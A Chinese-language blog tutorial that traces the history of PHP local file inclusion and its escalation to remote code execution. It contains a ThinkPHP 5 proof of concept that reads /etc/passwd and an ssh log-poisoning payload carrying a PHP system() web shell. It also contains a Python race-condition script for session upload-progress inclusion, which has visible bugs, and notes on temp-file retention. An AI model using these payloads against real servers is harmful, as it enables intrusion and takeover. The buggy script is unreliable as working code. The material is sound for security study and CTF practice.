姿势-LFI演化史
本文首发于 https://www.freebuf.com/articles/web/328971.html
LFI演化史
图片来源于山石网科冬令营分享截图
LFI介绍
LFI指本地文件包含(Local File Include),本次分享主要讲解PHP方向的LFI。
PHP中的文件包含:
include
\require
\include_once
\require_once
Tips:在PHP中include
和require
都不属于函数,而是流程控制的一种,应该算是表达式。
LFI主要用于配置类、工具类文件的包含,减少重复代码块。
<?php
include "config.php"; // 包含配置文件
if ($username==$_POST['uname']) {
do something();
}
?>
存在问题的写法如下:
<?php
include $_POST['file'].".php";
?>
与上一段代码不同之处在于,这里include $_POST['file'].".php";
,是对变量进行了包含,而变量是通过POST传参得到,属于用户可控的输入。
比较常见的场景在于使用模板进行开发。
Think PHP 5中的文件包含漏洞
poc:
index?cacheFile=/etc/passwd
位于library/think/template/driver/File.php
class File{
public function read($cacheFile, $var=[]) {
if (!empty($vars) && is_array($vars)) {
extract($vars, EXTR_OVERWRITE);
}
include $cacheFile;
}
}
此处的$vars
是我们可控的变量,经过extract
函数进行变量覆盖,最终达到文件包含的效果。
大部分傻瓜级别的漏洞会是如下格式:
可以利用各种截断来去掉php后缀,或者利用phar协议。在拼接上php后缀的情况下,推荐使用php伪协议来读取源码,通过源码审计来做进一步的利用。
LFI如何扩大为RCE
LFI + Upload -> RCE
就执行代码方面,只要被include包含的文件内存在php标签与代码。即会将其当成php代码来执行,无所谓文件后缀。因此很多的cms在审计时只需要找到一处任意文件包含即可扩大为RCE,因为cms通常都会集成有文件上传的点,无论是在用户的头像上传亦或者是各种的附件上传,当然了,实在找不到上传点我们可以自己造一个。
因此,我们在拿到一个LFI时想扩大为RCE可以将重点放在如何将我们的代码放到服务器上,无论放哪都行.只需要被我们include到。
包含日志文件
通常因为环境,php程序对于日志文件美欧读取权限,但有权限的情况下可以利用包含日志文件来达成getshell。
比较常见的有apache、ssh、nginx的日志文件,例如nginx的日志文件nginx_access.log。
tips:需要日志文件可读,日志文件不能过大(日志文件过大,包含日志文件的话会有一些影响)
ssh的利用方式:
登录命令为 ssh username@ip
,登陆信息记录在 /var/log/auth.log/
,通过命令ssh '<?php system(@_GET['shell']);?>'@ip
往日志文件中投入php代码达成RCE
包含系统文件的利用方式
通过 /proc/%{PID}/fd/%{FD_ID}
如 /proc/1/fd/1,2,3……
fd/id
是文件描述符,是一个指向某些文件的软连接,因此其与日志文件大同小异,利用方式是需要fd目录下存在有执行日志文件的文件描述符。
session
php.ini
中的session.save_path可以修改session的存储位置
在session. use_strict_mode
用户可以通过对cookie的PHPSESSID值修改达成自定义sessionid`
要求:
- 文件中包含session
- session可控
session在各大比赛中的非预期解 session.upload
要求:需要开启session.upload_progress.enable INI
选项(默认开启)
例:
<form action="upload.php" method="POST" enctype="multipart/form-data">
<input type="hidden" name="<?php echo ini_get("session.upload_progress.name"); ?>" value="123" />
<input type="file" name="file1" />
<input type="file" name="file2" />
<input type="submit" />
</form>
value是可控的,即seesion.upload_progress.name
中的name
是可控的,其默认值为PHP_SESSION_UPLOAD_PROGRESS
。
修改上传表单中包含的PHP_SESSION_UPLOAD_PROGRESS
的值为here is shell
,对应的即是上传表单中的value被修改。
结果如下:
可以看到我们修改的here is shell
已经被输出。由此不难看出,我们将此处的here is shell
修改为其他代码执行、命令执行函数,就可以成功包含session
来达成RCE。
利用脚本:
import request
import threading
file_content = "<?php phpinfo();?>"
url = 'http://debug.com:8888/'
r = requests.session()
def POST():
while True:
file={
"upload":('hhhm.jpg', file_content, 'image/jpeg')
}
data={
"PHP_SESSION_UPLOAD_PROGRESS":file_content
}
headers={
"Cookie":"PHPSESSION=hhhm"
}
r.post(url, files=file, header=headers, data=data)
def READ():
while True:
event.wait()
t = r.get("http://debug.com:8888/lfi.php?file=/tmp/sess_hhhm")
if 'success' not in t.text:
print('[+] retry')
else:
print(t.text)
event.clear()
event = threading.Event()
event.set()
threading.Thread(target=POST, args=()).start()
threading.Thread(target=POST, args=()).start()
利用多线程,在上传文件没有被清除之前进行包含利用,有点类似于条件竞争
临时文件
php上传文件时,只要file_uploads
配置开启(默认开),无论后端是否有文件上传的功能,都会在php.ini
指定的临时目录中留存一个上传的临时文件。
其中,上传文件的文件名不可控:php+[6个随机字符]
,例如phpAaiAdj
临时文件的历史利用:
一些常用的文件包含函数都会受其影响。
利用LFI和phpinfo来利用临时文件:
临时文件留存方式:
-
旧版本php通过文件不断包含自身的同时上传文件会造成php崩溃,留存临时文件
-
@王一航师傅在2017年提出的
LFI via SegmentFault
,在php7使用过滤器(php://filter/string.strip_tags/resource=etc/passwd
)造成崩溃,与此同时进行文件上传(php7.0.28 已修复) -
2019年的bug,
Long filenames cause OOM and temp files are not cleaned
,利用长文件名让临时文件留存 -
@wupco在hitcon2018中探究出的利用
covert.qutoed-printable-encode
留存临时文件,php7全版本低版本通杀
本文来自博客园,作者:sherlson,转载请注明原文链接:https://www.cnblogs.com/sherlson/articles/16212554.html